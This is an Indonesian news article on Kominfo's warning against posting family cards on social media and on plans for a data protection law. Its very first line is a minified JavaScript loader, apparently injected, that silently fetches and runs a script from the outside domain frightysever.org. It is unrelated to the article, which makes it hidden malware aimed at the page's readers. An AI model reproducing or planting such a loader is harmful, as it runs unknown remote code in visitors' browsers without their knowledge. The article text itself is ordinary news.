(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Teknologi

Imbauan Kominfo, Jangan Posting Kartu Keluarga di Medsos


Direktur Jenderal Aplikasi dan Informatika, Kementerian Komunikasi dan Informatika, Semuel Abrijani Pangerapan, terus melakukan edukasi kepada masyarakat mengenai pentingnya menjaga keamanan data pribadi.

Selain itu mereka juga sudah mengirim sejumlah tenaga kerja ke Eropa untuk mempelajari sistem data protection officer (DPO).

“Ada 32 regulasi terkait perlindungan data pribadi. Itu tercecer dan saling tumpang tindih. Masyarakat jadi bingung. Ada regulasi di kesehatan, di regulasi komunikasi juga ada. Yang tercecer ini kita ingin satukan. Jadi sangat butuh sosialisasi. Masyarakat belum paham,” kata dia di Jakarta, Rabu, 3 Juli 2019, seperti diwartakan viva.co.id.

Cara pertama untuk menyatukan peraturan yang ada adalah dengan melakukan diskusi untuk mengedukasi masyarakat serta literasi terkait akan adanya Undang-Undang Perlindungan Data Pribadi. Kemudian, untuk instansi dan perusahaan, akan terdapat data protection authority (DPA).

Akan tetapi pembentukan DPA masih dalam tahap rancangan, apakah akan berbentuk komisi yang ditetapkan DPR atau pemerintah. “Masih harus dipelajari lebih dalam. Selain edukasi dari sisi masyarakat, kami berharap pelaku usaha lebih aware jika ada regulasi baru,” jelasnya.

Semuel juga menyayangkan karena kerap menemukan banyak yang posting Kartu Keluarga di media sosial, “Itu tidak usah dilakukan. Itu adalah data sensitif yang bisa disalahgunakan oleh orang yang tidak bertanggung jawab,” tegas dia.

Pada kesempatan yang sama, Anggota Komisi I DPR, Meutya Hafid, mengaku tidak ada masalah dari sisi pengusaha, namun masalah utama justru ada di masyarakat.

Menurutnya masyarakat menjadi helpless dan tidak aware saat menghadapi sebuah pilihan. “Mereka punya potensi disalahgunakan tapi mereka tidak punya pilihan karena mereka mau menggunakan teknologi itu,” paparnya. Meutya memberi contoh ketika ingin menggunakan aplikasi.

Ia mengatakan pastinya pengguan akan diminta untuk setuju saat aplikasi ingin mengakses data pengguna. “Kalau tidak setuju, ya, aplikasi enggak bisa digunakan,” jelas Meutya. (vvn)

Reporter :Vvn
Editor :KK

Desy Arfianty

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

13 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

13 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

13 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

17 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

20 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

20 jam ago

This website uses cookies.